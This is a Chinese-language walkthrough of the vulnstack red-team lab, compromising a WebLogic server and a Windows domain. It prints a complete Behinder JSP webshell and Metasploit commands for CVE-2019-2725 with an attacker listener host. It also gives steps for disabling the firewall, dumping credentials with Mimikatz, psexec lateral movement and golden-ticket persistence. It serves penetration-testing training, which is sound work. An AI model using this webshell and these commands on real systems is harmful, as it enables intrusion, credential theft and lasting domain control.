ATT&CK实战系列——红队实战(二)
vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
拓扑结构大体如下:
代码语言:javascript复制靶机下载地址: https://pan.baidu.com/s/13nU-0vsGBnGejGCKzwphfQ&shfl=sharepset
提取码:41y6
开机密码:1qaz@WSX
因为要搭建一个内网环境,因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置。
DC配置 :DC是域控,只能内网访问,只有一块网卡,设置如下:
PC配置:两块网卡,一块NAT模式(模拟外网连接),一块自定义模式(同DC,模拟内网域)
WEB配置:两块网卡,一块NAT模式,一块自定义模式(同DC) (初始的状态默认密码无法登录,切换用户 de1ay/de1ay 登录进去)
DC:delaydelay PC:delaymssql WEB:delaydelay
先从WEB机开始,注意需要手动开启服务,路径如下:
C:OracleMiddlewareuser_projectsdomainsbase_domainbin下有一个startWeblogic的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX
遇到的坑
NAT模式设置如下,不然到时候访问不到地址!!
计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙)
至此环境配置完毕
外网渗透
已知web服务器ip地址:192.168.111.80
拿到环境后,首先进行端口探测,这里使用-sS参数,由于防火墙的存在不能使用icmp包,所以使用syn包探测
nmap -sS -sV , -sS 使用SYN半开式扫描,又称隐身扫描 -sV 服务探测
nmap -sS -sV 192.168.111.80
通过扫描端口,我们通过端口初步判断目标机存在的服务及可能存在的漏洞,如445端口开放就意味着存smb服务,存在smb服务就可能存在ms17-010/端口溢出漏洞。开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。开放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。开放3389端口,就存在远程桌面。开放7001端口就存在weblogic。
这里先看一下weblogic,直接使用 WeblogicScan 扫描一下可能存在的漏洞,工具地址:
代码语言:javascript复制https://gitee.com/opticfiber/WeblogicScan/repository/archive/master.zip
python WeblogicScan.py 192.168.111.80 7001
代码语言:javascript复制https://github.com/rabbitmask/WeblogicScan
用法 python3 WeblogicScan.py -u 192.168.111.80 -p 7001
扫描存在如下漏洞
代码语言:javascript复制SSRF CVE-2019-2725 CVE-2019-2729
SSRF(server-side request forgery ):服务器端请求伪造。是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,一般情况下,ssrf攻击的目标是从外网无法访问的内部系统(正是因为他是有服务器端发起的,所以他能够请求到与他相连而与外网隔离的内部系统)
SSRF漏洞存在于
代码语言:javascript复制http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp
点击Search抓包测试
就是这里可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错
当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234
将会返回:could not connect over HTTP to server
当我们访问存在的端口时,比如 http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回status code,如果访问的非http协议,则会返回:did not have a valid SOAP content-type
代码语言:javascript复制https://www.cnblogs.com/bmjoker/p/9759761.html
https://blog.csdn.net/LTtiandd/article/details/99592832
既然存在CVE-2019-2729Weblogic反序列化漏洞,那么直接使用 java 反序列化终极测试工具测试漏洞
上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html
上传路径为:
C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp_WL_internaluddiexplorer5f6ebwwarshell.jsp
冰蝎shell
代码语言:javascript复制<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=("" UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u") "").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
冰蝎连接 http://192.168.111.80:7001/uddiexplorer/shell.jsp 密码:pass
然后我们再试试CVE-2019-2725这个RCE漏洞
search weblogic_deserialize_asyncresponseservice
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show options 查看一些参数
set rhosts 192.168.111.80 set lhost 192.168.111.128 set target 1
内网渗透
这里不多bb先直接把CS启动起再说,服务端启动
客户端启动
创建一波监听
生成CS后门并上传
上线CS
Run Mimikatz
提权到system
信息收集
代码语言:javascript复制查看域名 net config workstation
查看有几个域 net view /domain
查看域内主机 net view
查询域内用户 net user /domain #该命令在本环境中需要在system权限下执行
查看域管理员 net group "domain admins" /domain
查看域控 net group "domain controllers" /domain
ipconfig /all,发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10 (域控一般是本机的DNS服务器)
关闭防火墙 netsh advfirewall set allprofiles state off
代码语言:javascript复制Ladon 10.10.10.0/24 OnlinePC # 多协议探测存活主机(IP、机器名、MAC地址、制造商)
Ladon 10.10.10.0/24 OsScan #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
psexec 传递
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
代码语言:javascript复制获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口
命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程
例如:portscan 10.10.10.0/24 445 arp 200
可看到域控机器DC开放了445端口
工具栏 View->Targets 查看端口探测后的存活主机
横向移动
横向渗透概念:
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。
在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
psexec横向移动
DC成功上线
拿下域控
权限维持
在域控获得KRBTGT账户NTLM密码哈希和SID
黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。
黄金票据的条件要求:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
WEB机 Administrator 权限机器->右键->Access->Golden Ticket
伪造成功
参考
代码语言:javascript复制https://www.cnblogs.com/wkzb/p/12826618.html
https://baijiahao.baidu.com/s?id=1686897854079644144&wfr=spider&for=pc
https://baijiahao.baidu.com/s?id=1686897854079644144&wfr=spider&for=pc
https://www.ghtwf01.cn/index.php/archives/632/
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。